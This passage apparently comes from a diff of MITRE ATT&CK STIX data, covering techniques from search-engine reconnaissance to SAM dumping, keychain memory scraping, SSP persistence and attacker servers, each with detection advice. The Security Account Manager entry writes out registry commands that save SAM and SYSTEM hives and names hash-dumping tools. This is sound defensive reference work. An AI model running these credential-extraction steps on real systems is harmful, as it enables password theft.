web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)\n\nAdversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1597", + "external_id": "T1597", + "source_name": "mitre-attack" + }, + { + "url": "https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/", + "description": "Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020.", + "source_name": "D3Secutrity CTI Feeds" + }, + { + "url": "https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/", + "description": "Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020.", + "source_name": "ZDNET Selling Data" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Search Engines", + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:52:06.960Z", + "created": "2020-10-02T16:50:12.809Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968", + "description": "Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1593/002", + "external_id": "T1593.002", + "source_name": "mitre-attack" + }, + { + "url": "https://securitytrails.com/blog/google-hacking-techniques", + "description": "Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved October 20, 2020.", + "source_name": "SecurityTrails Google Hacking" + }, + { + "url": "https://www.exploit-db.com/google-hacking-database", + "description": "Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020.", + "source_name": "ExploitDB GoogleHacking" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Search Open Technical Databases", + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:50:44.308Z", + "created": "2020-10-02T16:56:05.810Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--55fc4df0-b42c-479a-b860-7a6761bcaad0", + "description": "Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan)\n\nAdversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1596", + "external_id": "T1596", + "source_name": "mitre-attack" + }, + { + "url": "https://www.whois.net/", + "description": "NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.", + "source_name": "WHOIS" + }, + { + "url": "https://dnsdumpster.com/", + "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.", + "source_name": "DNS Dumpster" + }, + { + "url": "https://www.circl.lu/services/passive-dns/", + "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.", + "source_name": "Circl Passive DNS" + }, + { + "url": "https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2", + "description": "Jain, M. (2019, September 16). Export & Download \u2014 SSL Certificate from Server (Site URL). Retrieved October 20, 2020.", + "source_name": "Medium SSL Cert" + }, + { + "url": "https://www.sslshopper.com/ssl-checker.html", + "description": "SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.", + "source_name": "SSLShopper Lookup" + }, + { + "url": "https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/", + "description": "Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed \u2013 How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020.", + "source_name": "DigitalShadows CDN" + }, + { + "url": "https://shodan.io", + "description": "Shodan. (n.d.). Shodan. Retrieved October 20, 2020.", + "source_name": "Shodan" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-04-15T03:52:41.104Z", + "name": "Search Open Websites/Domains", + "x_mitre_version": "1.0", + "created": "2020-10-02T16:48:04.509Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365", + "description": "Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1593", + "external_id": "T1593", + "source_name": "mitre-attack" + }, + { + "url": "https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e", + "description": "Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020.", + "source_name": "Cyware Social Media" + }, + { + "url": "https://securitytrails.com/blog/google-hacking-techniques", + "description": "Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved October 20, 2020.", + "source_name": "SecurityTrails Google Hacking" + }, + { + "url": "https://www.exploit-db.com/google-hacking-database", + "description": "Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020.", + "source_name": "ExploitDB GoogleHacking" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-04-15T03:53:33.023Z", + "name": "Search Victim-Owned Websites", + "x_mitre_data_sources": [ + "Application Log: Application Log Content" + ], + "x_mitre_version": "1.0", + "created": "2020-10-02T16:51:50.306Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26", + "description": "Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)\n\nAdversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1594", + "external_id": "T1594", + "source_name": "mitre-attack" + }, + { + "url": "https://www.comparitech.com/blog/vpn-privacy/350-million-customer-records-exposed-online/", + "description": "Bischoff, P. (2020, October 15). Broadvoice database of more than 350 million customer records exposed online. Retrieved October 20, 2020.", + "source_name": "Comparitech Leak" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Security Account Manager", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Windows Registry: Windows Registry Key Access", + "File: File Access" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-25T15:17:30.640Z", + "created": "2020-02-11T18:42:07.281Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "id": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "SYSTEM" + ], + "description": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access.\n\nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n\n* reg save HKLM\\sam sam\n* reg save HKLM\\system system\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)\n\nNotes: \n* RID 500 account is the local, built-in administrator.\n* RID 501 is the guest account.\n* User accounts start with a RID of 1,000+.\n", + "x_mitre_contributors": [ + "Ed Williams, Trustwave, SpiderLabs" + ], + "x_mitre_detection": "Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1003/002", + "external_id": "T1003.002", + "source_name": "mitre-attack" + }, + { + "source_name": "GitHub Creddump7", + "description": "Flathers, R. (2018, February 19). creddump7. Retrieved April 11, 2018.", + "url": "https://github.com/Neohapsis/creddump7" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-21T21:17:03.347Z", + "name": "Security Software Discovery", + "created": "2017-05-31T21:30:51.330Z", + "id": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1063", + "external_id": "T1063", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Security Software Discovery", + "x_mitre_data_sources": [ + "Firewall: Firewall Metadata", + "Firewall: Firewall Enumeration", + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" + ], + "x_mitre_version": "1.2", + "modified": "2021-03-29T16:05:00.198Z", + "created": "2020-02-21T21:16:18.066Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", + "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nAdversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nIn cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1518/001", + "external_id": "T1518.001", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/581.html", + "external_id": "CAPEC-581", + "source_name": "capec" + }, + { + "url": "https://expel.io/blog/finding-evil-in-aws/", + "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.", + "source_name": "Expel IO Evil in AWS" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-24T17:35:47.598Z", + "name": "Security Support Provider", + "created": "2017-05-31T21:31:13.447Z", + "id": "attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1101", + "external_id": "T1101", + "source_name": "mitre-attack" + }, + { + "source_name": "Graeber 2014", + "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", + "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html" + }, + { + "source_name": "Microsoft Configure LSA", + "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.", + "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-25T15:42:48.910Z", + "name": "Security Support Provider", + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Modification", + "Module: Module Load", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "created": "2020-01-24T17:16:11.806Z", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462", + "description": "Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.\n\nThe SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1547/005", + "external_id": "T1547.005", + "source_name": "mitre-attack" + }, + { + "source_name": "Graeber 2014", + "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", + "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html" + }, + { + "source_name": "Microsoft Configure LSA", + "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.", + "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-12T18:56:59.153Z", + "name": "Securityd Memory", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--2715c335-1bf2-4efe-9f18-0691317ff83b", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1167", + "external_id": "T1167", + "source_name": "mitre-attack" + }, + { + "source_name": "OS X Keychain", + "description": "Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved July 15, 2017.", + "url": "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain" + }, + { + "source_name": "External to DA, the OS X Way", + "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.", + "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way" + }, + { + "source_name": "OSX Keydnap malware", + "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Securityd Memory", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Access" + ], + "x_mitre_version": "1.0", + "modified": "2020-02-17T13:16:53.850Z", + "created": "2020-02-12T18:56:31.051Z", + "x_mitre_permissions_required": [ + "root" + ], + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72", + "description": "An adversary may obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain) (Citation: OSX Keydnap malware)\n\nIn OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "x_mitre_detection": "Monitor processes and command-line arguments for activity surrounded users searching for credentials or using automated tools to scan memory for passwords.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1555/002", + "external_id": "T1555.002", + "source_name": "mitre-attack" + }, + { + "source_name": "OS X Keychain", + "description": "Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved July 15, 2017.", + "url": "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain" + }, + { + "source_name": "OSX Keydnap malware", + "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" + }, + { + "source_name": "External to DA, the OS X Way", + "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.", + "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Server", + "x_mitre_data_sources": [ + "Internet Scan: Response Metadata", + "Internet Scan: Response Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-17T15:39:45.736Z", + "created": "2020-10-01T00:48:09.578Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337", + "description": "Adversaries may buy, lease, or rent physical servers\u00a0that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations.\n\nAdversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1583/004", + "external_id": "T1583.004", + "source_name": "mitre-attack" + }, + { + "url": "https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html", + "description": "William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.", + "source_name": "NYTStuxnet" + }, + { + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "source_name": "ThreatConnect Infrastructure Dec 2020" + }, + { + "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation", + "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.", + "source_name": "Mandiant SCANdalous Jul 2020" + }, + { + "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2", + "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", + "source_name": "Koczwara Beacon Hunting Sep 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Server", + "x_mitre_data_sources": [ + "Internet Scan: Response Metadata", + "Internet Scan: Response Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-17T16:00:16.273Z", + "created": "2020-10-01T00:56:25.135Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5", + "description": "Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations.\n\nAdversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1584/004", + "external_id": "T1584.004", + "source_name": "mitre-attack" + }, + { + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "source_name": "ThreatConnect Infrastructure Dec 2020" + }, + { + "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation", + "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.", + "source_name": "Mandiant SCANdalous Jul 2020" + }, + { + "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2", + "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", + "source_name": "Koczwara Beacon Hunting Sep 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Server Software Component", + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Process: Process Creation", + 